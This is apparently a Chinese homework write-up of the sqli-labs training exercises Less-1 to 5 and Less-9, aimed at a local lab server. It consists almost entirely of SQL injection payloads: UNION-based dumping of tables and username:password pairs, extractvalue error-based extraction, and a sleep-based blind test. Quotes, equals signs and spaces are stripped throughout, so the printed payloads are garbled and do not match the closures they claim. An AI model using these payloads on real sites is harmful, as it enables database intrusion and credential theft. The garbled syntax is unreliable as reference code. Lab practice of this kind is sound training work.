sqli作业Less-1单引号闭合闭合方式加个单引号看报错http://192.168.40.129/sqli/Less-1/?id1报错里1 LIMIT 0,1说明源码是WHERE id$id用闭合就行。ORDER BY 试列数?id1 order by 4-- # 报 Unknown column 4列数3UNION 找回显位?id-1 union select 1,2,3--2 和 3 回显在 name 和 Password。然后直接梭哈爆库?id-1 union select 1,database(),3-- 爆表?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 爆列?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase()-- 爆数据?id-1 union select 1,group_concat(username,0x3a,password),3 from users--Less-2整型闭合方式无整型不需要闭合id2-1返回第一个用户数据说明是数字型爆库?id-1 union select 1,database(),3-- 爆表?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 爆列?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase()-- 爆数据?id-1 union select 1,group_concat(username,0x3a,password),3 from users--Less-3单引号括号闭合方式)?id1源码是WHERE id($id)。爆库?id-1) union select 1,database(),3-- 爆表?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 爆列?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase()-- 爆数据?id-1) union select 1,group_concat(username,0x3a,password),3 from users--Less-4双引号括号闭合方式)?id1源码是WHERE id($id)。爆库?id-1) union select 1,database(),3-- 爆表?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 爆列?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase()-- 爆数据?id-1) union select 1,group_concat(username,0x3a,password),3 from users--Less-5报错注入extractvalue闭合方式页面只显示You are in...不显示数据但会报 MySQL 错误。用 union 查出来也看不到改用报错注入。?id1 → 正常 ?id1-- → 正常闭合确认extractvalue 一把梭爆库?id1 and extractvalue(1,concat(0x7e,database()))--爆表?id1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())))-- 爆列?id1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase())))--extractvalue 一次最多回显 32 字符数据多的话用 substring 分段第1段?id1 and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,30)))-- 第2段?id1 and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),30,30)))-- ...以此类推Less-9时间盲注闭合方式这个更狠连报错都没有永远只显示You are in...只能靠 sleep 判断?id1 and sleep(3)-- → 页面卡3秒 → 有注入闭合为 确定闭合后上脚本爆破。